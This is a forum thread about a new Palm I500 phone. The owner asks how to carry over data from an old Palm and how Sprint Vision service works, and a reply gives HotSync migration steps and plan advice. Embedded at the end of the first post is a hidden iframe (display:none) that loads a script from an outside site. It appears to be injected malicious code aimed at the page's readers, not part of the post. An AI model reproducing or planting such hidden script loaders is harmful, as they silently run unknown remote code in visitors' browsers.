OK - I just bought my first PalmPhone, the I500. I have a bunch of questions, but we'll just pick a couple for this time.

* What's the best practice for retaining programs and data from your old Palm device, without overlaying something on the new one you shouldn't oughta overlay?

* I figured I'd have to sign up for a Vision plan of some sort for this phone. We have a 2000 minute plan with 3 phones on it, my old phone (non-Vision-capable) was an add-on on that plan, whereas my spouse's phone is on a Vision plan, with the special ringer downloads, etc. The PCS store guy couldn't get the screen to do what he wanted and had me call customer service to get set up. The gal there told me that the plan already had web access and since the I500 isn't a Vision phone, I didn't need a Vision plan on my phone. Cool. However, in going thru all the setup on my phone, I see places for a Vision userid. I could really use some basic education on Vision, what this phone can and can't do in that arena and what the basic setup points are. Anyone got the insight for me. Thanks<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

The safest is to complete uninstall the old Palm Desktop and delete all directories under the Palm directory.

However that is not very desireable for those old-time Palm users that want to keep their old data and apps. What you can do, which takes some judgement, is first, hotsync your old palm for the "last time", then go into the Palm directory and only delete the directories and files that relate to the system and device preferences.

For example, supposing your older Palm was named "Bob". Go into the Palm directory and there should be a "Bob" directory. Go into "Bob". There will be a Backup directory. Go to Backup. Delete all system related files, particularly NetworkDB.PDB, Saved_Preferences.PRC and any other files that 1) might be clearly specific for your old device (e.g. 6035 phone files), or 2) files that you are certain have nothing to do with any of the apps you want to keep. It is a good time to clean up old junk anyways.

Now you should be able to 1) install the latest Palm Desktop over the old one (presumably the I500-included CD contains the latest for now), and 2) Hotsync your I500 (after installing the I500 drivers) which should fill up your I500 with all your old data and apps. I worked great for me.
Whoever told you the I500 isn't a Vision phone is a dum-dum. It most definitely is and needs specific Vision provisioning for it to work. I vaguely remember that the 2000min plan had the option of "free" Vision so it should be possible to coerce Sprint to enable it for your I500 and provision it. I would try calling Sprint several times until you get a CSR that will do this. Otherwise I think the standard schtick is to charge you about $7/mo for the Vision phone add-on (since your wife already has Vision) on this same shared plan.